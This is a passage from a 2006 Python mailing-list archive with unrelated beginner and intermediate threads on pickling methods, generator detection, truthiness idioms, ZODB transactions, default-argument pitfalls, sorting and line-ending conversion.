and os.altsep.


From chrisspen at gmail.com  Fri Oct 20 17:33:24 2006
From: chrisspen at gmail.com (Chris)
Date: 20 Oct 2006 14:33:24 -0700
Subject: Why can't you pickle instancemethods?
Message-ID: <1161380004.714778.152080@m7g2000cwm.googlegroups.com>

Why can pickle serialize references to functions, but not methods?

Pickling a function serializes the function name, but pickling a
staticmethod, classmethod, or instancemethod generates an error. In
these cases, pickle knows the instance or class, and the method, so
what's the problem? Pickle doesn't serialize code objects, so why can't
it serialize the name as it does for functions? Is this one of those
features that's feasible, but not useful, so no one's ever gotten
around to implementing it?

Regards,
Chris

>>> import pickle
>>>
>>> def somefunc():
...     return 1
...
>>> class Functions(object):
...     @staticmethod
...     def somefunc():
...         return 1
...
>>> class Foo(object):
...     pass
...
>>> f = Foo()
>>> f.value = somefunc
>>> print pickle.dumps(f)
ccopy_reg
_reconstructor
p0
(c__main__
Foo
p1
c__builtin__
object
p2
Ntp3
Rp4
(dp5
S'value'
p6
c__main__
somefunc
p7
sb.
>>>
>>> f.value = Functions.somefunc
>>> print pickle.dumps(f)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "C:\Program Files\Python24\lib\pickle.py", line 1386, in dumps
    Pickler(file, protocol, bin).dump(obj)
  File "C:\Program Files\Python24\lib\pickle.py", line 231, in dump
    self.save(obj)
  File "C:\Program Files\Python24\lib\pickle.py", line 338, in save
    self.save_reduce(obj=obj, *rv)
  File "C:\Program Files\Python24\lib\pickle.py", line 433, in
save_reduce
    save(state)
  File "C:\Program Files\Python24\lib\pickle.py", line 293, in save
    f(self, obj) # Call unbound method with explicit self
  File "C:\Program Files\Python24\lib\pickle.py", line 663, in
save_dict
    self._batch_setitems(obj.iteritems())
  File "C:\Program Files\Python24\lib\pickle.py", line 677, in
_batch_setitems
    save(v)
  File "C:\Program Files\Python24\lib\pickle.py", line 293, in save
    f(self, obj) # Call unbound method with explicit self
  File "C:\Program Files\Python24\lib\pickle.py", line 765, in
save_global
    raise PicklingError(
pickle.PicklingError: Can't pickle <function somefunc at 0x009EC5F0>:
it's not the same object as __
main__.somefunc



From sigzero at gmail.com  Sun Oct 15 14:53:49 2006
From: sigzero at gmail.com (Robert Hicks)
Date: 15 Oct 2006 11:53:49 -0700
Subject: OT: What's up with the starship?
In-Reply-To: <1160926000.351967.8340@f16g2000cwb.googlegroups.com>
References: <mailman.419.1160722798.11739.python-list@python.org>
	<SEhYg.7681$gL.2383@southeast.rr.com>
	<1160926000.351967.8340@f16g2000cwb.googlegroups.com>
Message-ID: <1160938429.707909.28360@f16g2000cwb.googlegroups.com>


rurpy at yahoo.com wrote:
> T. Bryan wrote:
> > Thomas Heller wrote:
> >
> > > I cannot connect to starship.python.net: neither http, nor can I login
> > > interactively with ssl (and the host key seems to have changed as well).
> > >
> > > Does anyone know more?
> >
> > starship.python.net was compromised.  It looked like a rootkit may have been
> > installed.  The volunteer admins are in the process of reinstalling the OS
> > and rebuilding the system.  That process will probably take a few days at
> > least.
>
> Does anyone know more?
>
> What about the integrity of the python packages hosted there?
> When was the site compromised?
> I just installed the python 2.5 pywin module last week.
> Should I be concerned?
>
> Is this related to the Python security problem recently announced?

Did you even read about the vulnerability?

Robert



From martin at v.loewis.de  Wed Oct 25 17:34:50 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 25 Oct 2006 23:34:50 +0200
Subject: How to identify generator/iterator objects?
In-Reply-To: <mailman.1200.1161805415.11739.python-list@python.org>
References: <mailman.1200.1161805415.11739.python-list@python.org>
Message-ID: <453FD87A.4010904@v.loewis.de>

Kenneth McDonald schrieb:
> To do this, I need to determine (as fair as I can see), what are
> Is there a way to do this? Or perhaps another (better) way to achieve
> this flattening effect? itertools doesn't seem to have anything that
> will do it.

As others have pointed out, there is a proper test for generator
objects; you are apparently interested in finding out whether a
function will produce a generator when called.

To do that, use the following code

def is_generator_function(f):
  return (f.func_code.co_flags & 0x20) != 0

Here, 0x20 is the numeric value of CO_GENERATOR (also available
through compiler.consts.CO_GENERATOR).

Regards,
Martin


From apardon at forel.vub.ac.be  Fri Oct 27 05:39:56 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 27 Oct 2006 09:39:56 GMT
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
Message-ID: <slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>

On 2006-10-26, Donn Cave <donn at u.washington.edu> wrote:
> In article <mailman.1264.1161861732.11739.python-list at python.org>,
>  Steve Holden <steve at holdenweb.com> wrote:
> ...
>> Maybe so, but that "rule" (and let's not forget that the zen is not 
>> actually a set of prescriptive rules but rather guidelines for the 
>> informed) is immediately preceded by the most important "rule" of all: 
>> "Beautiful is better than ugly". Nobody will shout at you (well, 
>> hopefully, not on this list they won't) for writing
>> 
>>    if my_list != []:
>>      ...
>> 
>> in your code, but if they have to incorporate it into their own they 
>> will almost certainly reduce it to
>> 
>>    if my_list:
>>      ....
>> 
>> It's just idiomatic in Python, the same way that "'Sup?" is idiomatic in 
>> English (or what passes for it nowadays ;-) but grates on those who 
>> aren't used to hearing it.
>
> It is idiomatic, but not _just_ idiomatic.  The former requires
> a list object (or a tricky __eq__()), the latter works with a variety
> of objects, exhibiting a useful polymorphism.

The latter will treat None and False the same as [], () and {},
which in most of my code is not what I want. In most cases
I find testing for an empty sequence (however you do it)
useless, because the loop over the sequence does whatever
I want if it is empty. In cases where I do want to test
for it I usually write:

  if len(my_list) > 0:

That provides the polymorphism that is usefull to me and
doesn't treat None the same as an empty sequence.

> As for similarities between computer programming languages
> and natural languages, I think that breaks down pretty fast.
>
> Part of the problem is something that pinches Python pretty
> hard right here, a lack of words that conveniently express
> important concepts in the language.  A few posts back, Carl
> Banks made a distinction between "equaling" and "being", and
> if I understood that right, it expresses a fundamental notion
> about the meaning of Python's "if", "while" etc. statements.
> Unfortunately, though, English conflates existence and identity
> in this word ("be"), so it's not going to serve our purposes
> very well, and when it comes to words like "if" -- well, we
> just have to use what we have.
>
> If there were better words to use with the notion of
> "something-ness", I think we would see booleans as a silly
> thing of little use to Python programmers.

I think you are incorrect. Decisions have to be made and
they are made based on conditions. Conditions are expressed
in terms of True and False not in terms of Nothing or Something.

That is how IMO people think. You can't change that just
because python is implemented with the Nothing vs Something
distinction in mind.

> If you can see
> "if" and "while" as constructs that respond to something-ness,
> you will appreciate idiomatic Python better, because that
> arguably is just what it's about.

And how do I express that a number has to be greater than
100 into a Nothing vs Something dichotomy? Declare all
greater numbers as Something and the rest as Nothing?

-- 
Antoon Pardon


From gord at no_spaming.com  Wed Oct  4 16:21:21 2006
From: gord at no_spaming.com (gord)
Date: Wed, 4 Oct 2006 16:21:21 -0400
Subject: Where is Python in the scheme of things?
Message-ID: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>

As a complete novice in the study of Python, I am asking myself where this 
language is superior or better suited than others. For example, all I see in 
the tutorials are lots of examples of list processing, arithmetic 
calculations - all in a DOS-like environment.

What is particularly disappointing is the absence of a Windows IDE, 
components and an event driven paradigm. How does Python stand relative to 
the big 3, namely Visual C++, Visual Basic and Delphi? I realize that these 
programming packages are quite expensive now while Python is free (at least 
for the package I am using - ActivePython).

Please discuss where Python shines.
Gord




From cjw at sympatico.ca  Thu Oct 26 08:30:55 2006
From: cjw at sympatico.ca (Colin J. Williams)
Date: Thu, 26 Oct 2006 08:30:55 -0400
Subject: What's the best IDE?
In-Reply-To: <1161822032.211125.272160@h48g2000cwc.googlegroups.com>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>	<453ff3a7$0$23866$426a74cc@news.free.fr>	<fXS%g.7781$5i7.4028@newsreading01.news.tds.net>	<n_S%g.7782$5i7.4615@newsreading01.news.tds.net>
	<1161822032.211125.272160@h48g2000cwc.googlegroups.com>
Message-ID: <ehq9q0$p8g$2@sea.gmane.org>

Hakusa at gmail.com wrote:
> After researching Komodo, I found it's not free. The only funds I have
> are a college fund, and I can't start diping into that until I'm going
> to college. Any free AND good IDEs?
> 
PyScripter has already been suggested.  It is both of these.

Colin W.



From tim.peters at gmail.com  Mon Oct 30 07:03:56 2006
From: tim.peters at gmail.com (Tim Peters)
Date: Mon, 30 Oct 2006 07:03:56 -0500
Subject: ZODB: single database, multiple connections
In-Reply-To: <1162207929.618525.169150@h48g2000cwc.googlegroups.com>
References: <1162207929.618525.169150@h48g2000cwc.googlegroups.com>
Message-ID: <1f7befae0610300403w460eff39l94d1d3a0e99bcf8@mail.gmail.com>

[Petra Chong]
> I am using Python 2.3 and ZODB (without the rest of Zope) with the
> following pattern:
>
> * One process which writes stuff to a ZODB instance (call it test.db)
> * Another process which reads stuff from the above ZODB instance
> test.db
>
> What I find is that when the first process writes, the second doesn't
> pick up the changes. I am sure this must be because I am using ZODB
> wrongly, but I can't find any examples that show how to use ZODB in
> this way, and I can't find any API docs for FileStorage, Connection,
> etc. Reading the source code (from C:\python23\lib\site-packages) has
> not thrown up anything useful.
>
> Here's my test code:
>
> A simple database class:
>
> ...
>
> Write:
>
> ...
>
> Read:
>
> db = Database("test.db", read_only = True)
>
> data = db.get_dictionary('data')
>
> If I have a Python shell open and run the above two lines, if I run the
> write process repeatedly, the above "data" object never contains any of
> the newly added items. To pick them up I have to totally recreate the
> "db" object.

You say that like it's hard to do ;-)

It's a decent way to proceed.  ZODB is a database, and has
transactional semantics:  you never see new object state on the read
side because you're /in/ a transaction, and a transaction guarantees
to give you a consistent view of the data.  The view would be
inconsistent if it showed you state committed by different
transactions on the write side while you're still in the same
transaction on the read side.

> I must be doing something wrongly, but I can't figure out what.

Seems to be a conceptual problem more than anything else.

> Any suggestions?

You already know that tossing your connection and opening a new
connection will give you a newer view of the database, and it's
unclear why you don't think that's good enough.  Other approaches
amount to telling ZODB (on the read side) that you're done with the
current transaction.  For example, try doing

transaction.abort()

on the read side when you're ready to see newer object state.

BTW, a better place to ask about ZODB is the zodb-dev list:

    http://mail.zope.org/mailman/listinfo/zodb-dev

It's not just for developers /of/ ZODB.  Note that you need to
subscribe to it in order to post to it (that's a heavyweight anti-spam
gimmick common to all Zope lists).


From bearophileHUGS at lycos.com  Mon Oct  2 14:34:42 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 2 Oct 2006 11:34:42 -0700
Subject: zeta function for complex argument
In-Reply-To: <1159812557.819161.126440@m7g2000cwm.googlegroups.com>
References: <1159812557.819161.126440@m7g2000cwm.googlegroups.com>
Message-ID: <1159814082.483521.273730@m7g2000cwm.googlegroups.com>

Alec.Edgington at blueyonder.co.uk wrote:
> Quick question: I'm wondering if there is, Somewhere Out There, a
> Python implementation of the Riemann zeta function for complex
> argument...?

It seems that Scipy contaisn zeta too:
http://www.rexx.com/~dkuhlman/scipy_course_01.html#special

Search for "Other Special Functions:"

Bye,
bearophile



From steve at holdenweb.com  Tue Oct  3 11:35:41 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 03 Oct 2006 16:35:41 +0100
Subject: loop beats generator expr creating large dict!?
In-Reply-To: <eftn65$g29$1@sea.gmane.org>
References: <20061002215040.65003374.gry@ll.mit.edu><1159866342.984495.254000@i42g2000cwa.googlegroups.com>	<F6tUg.7027$pS3.4731@trnddc01>
	<eftn65$g29$1@sea.gmane.org>
Message-ID: <eftvup$hlp$1@sea.gmane.org>

Fredrik Lundh wrote:
> David Isaac wrote:
> 
> 
>>The current situation is:  use a loop because the obvious generator
>>approach is not efficient.
> 
> 
> "not efficient" compared to what ?
> 
Compared to understanding what's actually going on and working with 
reality as opposed to some superstitious view of how the interpreter 
operates, perhaps?

Dag nab it, I'm turning into the effbot!

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From dracula571 at gmail.com  Tue Oct 17 04:26:53 2006
From: dracula571 at gmail.com (dracula571)
Date: 17 Oct 2006 01:26:53 -0700
Subject: a question about s[i:j] when i is negative
In-Reply-To: <mailman.613.1161066872.11739.python-list@python.org>
References: <1161066186.490960.326230@m73g2000cwd.googlegroups.com>
	<mailman.613.1161066872.11739.python-list@python.org>
Message-ID: <1161073613.545245.248040@f16g2000cwb.googlegroups.com>


Fredrik Lundh ???

> dracula571 wrote:
>
> > but k[-6:2] = [1,2]
> > why k[-6:2] is [1,2]not [].i do follow (3),to make i positive by
> > plusing len(k) twice.
> 
> twice?
> 
> </F>
that is -6 + len(k) + len(k) =4



From deets at nospam.web.de  Tue Oct 17 05:14:02 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Tue, 17 Oct 2006 11:14:02 +0200
Subject: COM Error -- Urgent help
References: <1161060922.492588.250930@f16g2000cwb.googlegroups.com>
	<45347682$0$25906$ba4acef3@news.orange.fr>
	<1161070831.102884.37930@e3g2000cwe.googlegroups.com>
	<mailman.619.1161071484.11739.python-list@python.org>
	<1161071939.165951.221510@i42g2000cwa.googlegroups.com>
	<Ut0Zg.8114$Lv3.7352@newsread1.news.pas.earthlink.net>
	<1161076029.101436.3850@e3g2000cwe.googlegroups.com>
Message-ID: <4pjl6qFj58saU1@uni-berlin.de>

Teja wrote:

> 
> Dennis Lee Bieber wrote:
>> On 17 Oct 2006 00:58:59 -0700, "Teja" <tejovathi.p at gmail.com> declaimed
>> the following in comp.lang.python:
>>
>> >        thread.start_new_thread(self.nav, (s,'www.google.com')
>> >
>> > I am getting an attribute error
>>
>> That can not be the REAL code... I'd expect a syntax error... You
>> have mismatched parens on that line!
>> --
>> Wulfraed     Dennis Lee Bieber               KD6MOG
>> wlfraed at ix.netcom.com                wulfraed at bestiaria.com
>> HTTP://wlfraed.home.netcom.com/
>> (Bestiaria Support Staff:            web-asst at bestiaria.com)
>> HTTP://www.bestiaria.com/
> 
> Hi,
> 
> Ya its a copy paste error... But can u please let me know what is the
> reason for attribute error and how to rectify it??

How many times need you a beating with a clue-stick? 

Post the _actual_ code, not something that closely resembles it - in _your_
opinion....

Post the error message!!!!

And before you do all this, read:

http://www.catb.org/~esr/faqs/smart-questions.html

Diez


From onurb at xiludom.gro  Fri Oct 20 05:25:47 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Fri, 20 Oct 2006 11:25:47 +0200
Subject: Why the result
In-Reply-To: <1161335207.108215.104160@b28g2000cwb.googlegroups.com>
References: <1161335207.108215.104160@b28g2000cwb.googlegroups.com>
Message-ID: <4538961c$0$28288$426a34cc@news.free.fr>

HYRY wrote:
> Why the third print stement output "'comments': [(1, 2, 3)]", I think
> it should be [].
> I am using
> Python 2.4.2 (#67, Sep 28 2005, 12:41:11) [MSC v.1310 32 bit (Intel)]
> on win32.
> 
> # program
> class PicInfo:
>     def __init__(self, intro="", tags="", comments=[]):

This is a FAQ - and one of the most (in)famous Python's gotchas. Default
arguments are eval'd *only once* - when the def statement is eval'd,
which is usually at import time. So using a mutable object as default
value makes this object behaving somehow like a C 'static' local
variable, ie it keeps it value from call to call.

The canonical idiom is to use None instead:

class PicInfo(object):
  def __init__(self, intro="", tags="", comments=None):
    self.picintro = intro
    self.pictags = tags
    if comments is None:
      comments = []
    self.comments = comments

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From inq1ltd at verizon.net  Sun Oct 29 19:02:02 2006
From: inq1ltd at verizon.net (jim-on-linux)
Date: Sun, 29 Oct 2006 19:02:02 -0500
Subject: looping through two list simultenously
In-Reply-To: <1162153701.052043.160030@h48g2000cwc.googlegroups.com>
References: <1162153701.052043.160030@h48g2000cwc.googlegroups.com>
Message-ID: <200610291902.02566.inq1ltd@verizon.net>

On Sunday 29 October 2006 15:28, CSUIDL PROGRAMMEr 
wrote:
> folks
> I have two lists
>
>  i am trying to loop thorough them
> simultenously.
>

Try something like this.

 for eachline in data1:
     print eachline
     for line in data::
         print line

You might also think about a while loop.

jim-on-linux

http://www.inqvista.com



> Here is the code i am using
>
> f1 = os.popen('ls  chatlog*.out')
> data1=f1.readlines()
> f1.close()
>
> data1=[x.strip() for x in data1]
> f1 = os.popen('ls  chatlog*.txt')
> data=f1.readlines()
> f1.close()
> for eachline in data1 and line in data:
>
>     filename='/root/Desktop/project/'+ eachline
>     print filename
>     outfile=open(filename,'r')
>     filename1='/root/Desktop/project/' + line
>     print filename1
>
> I get the error that line is not defined.
> Traceback (most recent call last):
>   File "list.py", line 16, in ?
>     for eachline in data1 and line in data:
> NameError: name 'line' is not defined
>
> Is there any efficient doing this


From fredrik at pythonware.com  Thu Oct 26 02:44:08 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 26 Oct 2006 08:44:08 +0200
Subject: How the event list be sent to EventManager?
In-Reply-To: <1161844141.057735.252310@e3g2000cwe.googlegroups.com>
References: <1161844141.057735.252310@e3g2000cwe.googlegroups.com>
Message-ID: <ehplfn$gi0$1@sea.gmane.org>

steve wrote:

> The example code from: http://sjbrown.ezide.com/games/example1.py.html
> ...
> def Notify( self, event ):
>                 if not isinstance(event, TickEvent): Debug( "
> Message: " + event.name )
>                 for listener in self.listeners.keys():
>                         #If the weakref has died, remove it and
> continue
>                         #through the list
>                         if listener is None:
>                                 del self.listeners[ listener ]
>                                 continue
>                         listener.Notify( event )
> 
> I can not figure out how 'event' can has reference to 'event.name'?

because the developer expects you to pass in an object that has a name 
attribute ?  (one of the Event types defined at the top of that module,
most likely).

> Anyhow the 'event' has not defined!

it's an argument to the method.

> The 'event' dynamically get its own type through
> isinstance(event,TickEvent):...?

no, that line simply checks if it's a specific Event type, and enables 
debug logging for all other event types.

</F>



From zzf818 at gmail.com  Wed Oct 18 22:34:13 2006
From: zzf818 at gmail.com (kelin,zzf818@gmail.com)
Date: 18 Oct 2006 19:34:13 -0700
Subject: How to use python in TestMaker
Message-ID: <1161225253.111034.4730@f16g2000cwb.googlegroups.com>

Hello,

Now I 'm learning python to do testing jobs, and want to use it in
TestMaker.
The problem is: I don't know how to use python in TestMaker.
Just write python program in it or call .py files in it?
I am really new about it and need some help. 

Thanks a lot!



From evilrottenspawn at gmail.com  Sat Oct 14 18:51:35 2006
From: evilrottenspawn at gmail.com (spawn)
Date: 14 Oct 2006 15:51:35 -0700
Subject: Ok. This IS homework ...
Message-ID: <1160866295.553656.112730@m7g2000cwm.googlegroups.com>

but I've been struggling with this for far too long and I'm about to
start beating my head against the wall.

My assignment seemed simple: create a program that will cacluate the
running total of user inputs until it hits 100.  At 100 it should stop.
 That's not the problem, in fact, that part works.  It's the adding
that isn't working.  How can my program add 2 + 7 and come up with 14?

I'm posting my code (so that you may all laugh).  If ANYONE has any
ideas on what I'm doing wrong, I'd appreciate.

---------------------------------------------------

running = True
goal = 100

# subtotal = 0
# running_total = subtotal + guess

while running:
	guess = int(raw_input('Enter an integer that I can use to add : '))
	subtotal = guess

	while running:
		guess = int(raw_input('I\'ll need another number : '))
		running_total = guess +	subtotal
		print running_total

		if running_total == goal:
			print 'Congratulations!  You\'re done.'

		elif running_total > goal:
			print 'That\'s a good number, but too high.  Try again.'

print 'Done'

--------------------------

I tried adding an additional "while" statement to capture the second
number, but it didn't seem to solve my problem.  Help!



From cameron.walsh at gmail.com  Tue Oct 24 00:19:35 2006
From: cameron.walsh at gmail.com (Cameron Walsh)
Date: Tue, 24 Oct 2006 12:19:35 +0800
Subject: Sorting by item_in_another_list
In-Reply-To: <ehk3p8$j3q$1@enyo.uwa.edu.au>
References: <ehk3p8$j3q$1@enyo.uwa.edu.au>
Message-ID: <ehk47k$jgm$1@enyo.uwa.edu.au>

Cameron Walsh wrote:
> Hi,
> 
> I have two lists, A and B, such that B is a subset of A.
> 
> I wish to sort A such that the elements in B are at the beginning of A, 
> and keep the existing order otherwise, i.e. stable sort.  The order of 
> elements in B will always be correct.
> 
> for example:
> 
> A = [0,1,2,3,4,5,6,7,8,9,10]
> B = [2,3,7,8]
> 
> desired_result = [2,3,7,8,0,1,4,5,6,9,10]
> 
> 
> At the moment I have defined a comparator function:
> 
> def sort_by_in_list(x,y):
>     ret = 0
>     if x in B:
>         ret -= 1
>     if y in B:
>         ret += 1
>     return ret
> 
> and am using:
> 
> A.sort(sort_by_in_list)
> 
> which does produce the desired results.
> 
> I do now have a few questions:
> 
> 1.)  Is this the most efficient method for up to around 500 elements? If 
> not, what would be better?
> 2.)  This current version does not allow me to choose a different list 
> for B.  Is there a bind_third function of some description that I could 
> use to define a new function with 3 parameters, feed it the third (the 
> list to sort by), and have the A.sort(sort_by_in_list) provide the other 
> 2 variables?
> 
> 
> Regards to all,
> 
> Cameron.


Well I found an answer to the second question with the following:

 >>> A=[0,1,2,3,4,5,6,7,8,9,10]
 >>> B=[2,3,7,8]
 >>> def sort_by_in_list(in_list):
	def ret_function(x,y):
		ret = 0
		if x in in_list:
			ret -= 1
		if y in in_list:
			ret += 1
		return ret
	return ret_function

 >>> A.sort(sort_by_in_list(B))
 >>> A
[2, 3, 7, 8, 0, 1, 4, 5, 6, 9, 10]


Hope it helps someone,

Cameron.


From onurb at xiludom.gro  Fri Oct  6 12:33:58 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Fri, 06 Oct 2006 18:33:58 +0200
Subject: Bug in re module?
In-Reply-To: <1160150558.282151.131750@m73g2000cwd.googlegroups.com>
References: <1160149779.553564.9210@m7g2000cwm.googlegroups.com>
	<1160150311.012494.98860@i3g2000cwc.googlegroups.com>
	<1160150558.282151.131750@m73g2000cwd.googlegroups.com>
Message-ID: <45268577$0$32506$426a34cc@news.free.fr>

Ant wrote:
> John Machin wrote:
> 
>> Now quick kill your post before the effbot spots it :-)
> 
> Too late - the post was 3 minutes ago you know ;-)
> 
+1 QOTW, BTW

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From joncle at googlemail.com  Wed Oct 25 06:29:07 2006
From: joncle at googlemail.com (Jon Clements)
Date: 25 Oct 2006 03:29:07 -0700
Subject: dict problem
In-Reply-To: <mailman.1163.1161770037.11739.python-list@python.org>
References: <mailman.1163.1161770037.11739.python-list@python.org>
Message-ID: <1161772147.307847.65630@h48g2000cwc.googlegroups.com>


Alistair King wrote:

> Jon Clements wrote:
>
> > > Alistair King wrote:
> > >
> > >
> >
> >> >> Hi,
> >> >>
> >> >> ive been trying to update a dictionary containing a molecular formula, but seem to be getting this error:
> >> >>
> >> >>
> >> >> Traceback (most recent call last):
> >> >>   File "DS1excessH2O.py", line 242, in ?
> >> >>     updateDS1v(FCas, C, XDS)
> >> >> NameError: name 'C' is not defined
> >> >>
> >> >> dictionary is:
> >> >>
> >> >> DS1v = {'C': 6, 'H': 10, 'O': 5}
> >> >>
> >> >>
> >> >>
> >> >> #'Fxas' in each case will be integers but 'atoms' should be a float
> >> >>
> >> >> def updateDS1v(Fxas, x, XDS):
> >> >>     while Fxas != 0:
> >> >>         atoms = DS1v.get('x') + Fxas*XDS
> >> >>         DS1v[x] = atoms
> >> >>
> >> >> updateDS1v(FCas, C, XDS)
> >> >> updateDS1v(FHas, H, XDS)
> >> >> updateDS1v(FOas, O, XDS)
> >> >> updateDS1v(FNas, N, XDS)
> >> >> updateDS1v(FSas, S, XDS)
> >> >> updateDS1v(FClas, Cl, XDS)
> >> >> updateDS1v(FBras, Br, XDS)
> >> >> updateDS1v(FZnas, Zn, XDS)
> >> >> print DS1v
> >> >>
> >> >> I know there is probably a simple solution but im quite new to python and am lost?
> >> >>
> >> >>
> >>
> > >
> > > I strongly suggest reading through the tutorial.
> > >
> > > I don't think there's enough code here for anyone to check it properly.
> > > For instance, it looks like FCas exists somewhere as it's barfing on
> > > trying to find C. Where is XDS defined etc...?
> > >
> > > I can't see updateDS1v() ever completing: any Fxas passed in not equal
> > > to 0 will repeat indefinately.
> > >
> > > I'm guessing unless C is meant to be a variable, you mean to pass in
> > > the string 'C'.
> > >
> > > A dictionary already has it's own update method....
> > >
> > > Perhaps if you explain what you're trying to do in plain English, we
> > > could give you some pointers.
> > >
> > > Jon.
> > >
> > >
> >
> sorry,
>
> this has been a little rushed
>
> XDS is defined before the function and is a float.
> the Fxas values are also and they are integers
>
>
> now ive tried
>
> def updateDS1v(Fxas, x, XDS):
> while Fxas != 0:
> atoms = DS1v.get(x) + Fxas*XDS
> DS1v['x'] = atoms
>
> updateDS1v(FCas, 'C', XDS)
> updateDS1v(FHas, H, XDS)
> updateDS1v(FOas, O, XDS)
> updateDS1v(FNas, N, XDS)
> updateDS1v(FSas, S, XDS)
> updateDS1v(FClas, Cl, XDS)
> updateDS1v(FBras, Br, XDS)
> updateDS1v(FZnas, Zn, XDS)
> print DS1v
>
> from this i get the error:
>
> Traceback (most recent call last):
> File "DS1excessH2O.py", line 242, in ?
> updateDS1v(FCas, 'C', XDS)
> File "DS1excessH2O.py", line 239, in updateDS1v
> atoms = DS1v.get(x) + Fxas*XDS
> TypeError: unsupported operand type(s) for +: 'int' and 'str'
>
>
> with single quotes (FCas, 'C', XDS) to retrieve the value for that key
> from the dictionary and then create the new value and replace the old value.

One of Fxas or XDS is a string then...

Again, no-one can help you if we can't see what's actually there.

What are FCas, FHas etc... do they relate to the element? If so, isn't
that a dictionary in itself? And your update function is still an
infinite loop!

We're still in the dark as to what you're trying to do, try describing
something like: "for each element there is an associated 'F' value. For
each element in an existing molecule I wish to change the number of
'whatever' to be 'whatever' + my 'F' value * value XDS..."



Jon.



From nils at paragon.no  Sun Oct  8 19:53:03 2006
From: nils at paragon.no (Nils R Grotnes)
Date: Mon, 09 Oct 2006 01:53:03 +0200
Subject: Google code search (Was: Names changed to protect the guilty)
In-Reply-To: <eg9qne$82j$1@panix3.panix.com>
References: <eg6opn$7oj$1@panix3.panix.com> <877izb1vwe.fsf@pobox.com>
	<eg9qne$82j$1@panix3.panix.com>
Message-ID: <45298f5f$0$8006$c83e3ef6@nn1-read.tele2.net>

Google has a cool new service.

http://www.google.com/codesearch

You can use regular expressions!

(I found at least 13 distinct utilities that used the idiom.)

Nils


From lycka at carmen.se  Fri Oct 27 09:56:13 2006
From: lycka at carmen.se (Magnus Lycka)
Date: Fri, 27 Oct 2006 15:56:13 +0200
Subject: print dos format file into unix format
In-Reply-To: <4bklj21c2tuk45u3cvk5mteilkri4kl1la@4ax.com>
References: <1161469067.180921.35200@i3g2000cwc.googlegroups.com>
	<4bklj21c2tuk45u3cvk5mteilkri4kl1la@4ax.com>
Message-ID: <eht35t$vkg$1@wake.carmen.se>

Tim Roberts wrote:
> "PengYu.UT at gmail.com" <PengYu.UT at gmail.com> wrote:
>> Suppose I have a dos format text file. The following python code will
>> print ^M at the end. I'm wondering how to print it in unix format.
>>
>> fh = open(options.filename)
>> for line in fh.readlines()
>>  print line,
> 
> Are you running this on Unix or on DOS?
> 
> On Unix, you can do:
> 
> for line in open(options.filename).readlines():
>     print line.rstrip()
> 
> Perhaps quicker is:
> 
> sys.stdout.write( open(options.filename).read().replace('\r\n','\n') )

There are more differences between text files than that.
I don't know any unix systems that uses CP 437 etc. I'd
convert the text to unicode through .decode('cp437') etc,
and then print that. If things aren't set up so than
unicode object print correctly, use
.decode('cp437').encode('utf8') etc to get it to an
appropriate encoding.


From robert.kern at gmail.com  Wed Oct 11 22:58:54 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Wed, 11 Oct 2006 22:58:54 -0400
Subject: Python component model
In-Reply-To: <ca55a9900610111907l7e897261pd1e0929f0251b76e@mail.gmail.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>	<pan.2006.10.09.18.24.45.251048@gmx.net>	<452b7aae$0$306$426a74cc@news.free.fr>
	<eghai4$615$1@online.de>	<mailman.343.1160617110.11739.python-list@python.org>	<1160618190.314729.236250@c28g2000cwb.googlegroups.com>
	<ca55a9900610111907l7e897261pd1e0929f0251b76e@mail.gmail.com>
Message-ID: <egkb1b$7hm$1@sea.gmane.org>

Peter Decker wrote:
> On 11 Oct 2006 18:56:30 -0700, Ilias Lazaridis <ilias at lazaridis.com> wrote:
> 
>> yes, an interesting tool.
>>
>> But to get more attention and developers, the project needs to be
>> polished.
>>
>> really unattractive resources:
>>
>> http://dabodev.com
>> http://case.lazaridis.com/wiki/DaboAudit
> 
> Well, then, why not contribute? Or are you waiting for everyone else
> to do it for you?

No, he's just a troll that enjoys telling everyone what to do. Don't try to get 
him to contribute anything useful; it won't work.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From duncan.booth at invalid.invalid  Mon Oct  2 07:33:50 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 2 Oct 2006 11:33:50 GMT
Subject: __init__ style questions
References: <1159785721.004647.51490@c28g2000cwb.googlegroups.com>
	<Xns98507A4715288duncanbooth@127.0.0.1>
	<mailman.1082.1159787713.10491.python-list@python.org>
Message-ID: <Xns98507F2551AC5duncanbooth@127.0.0.1>

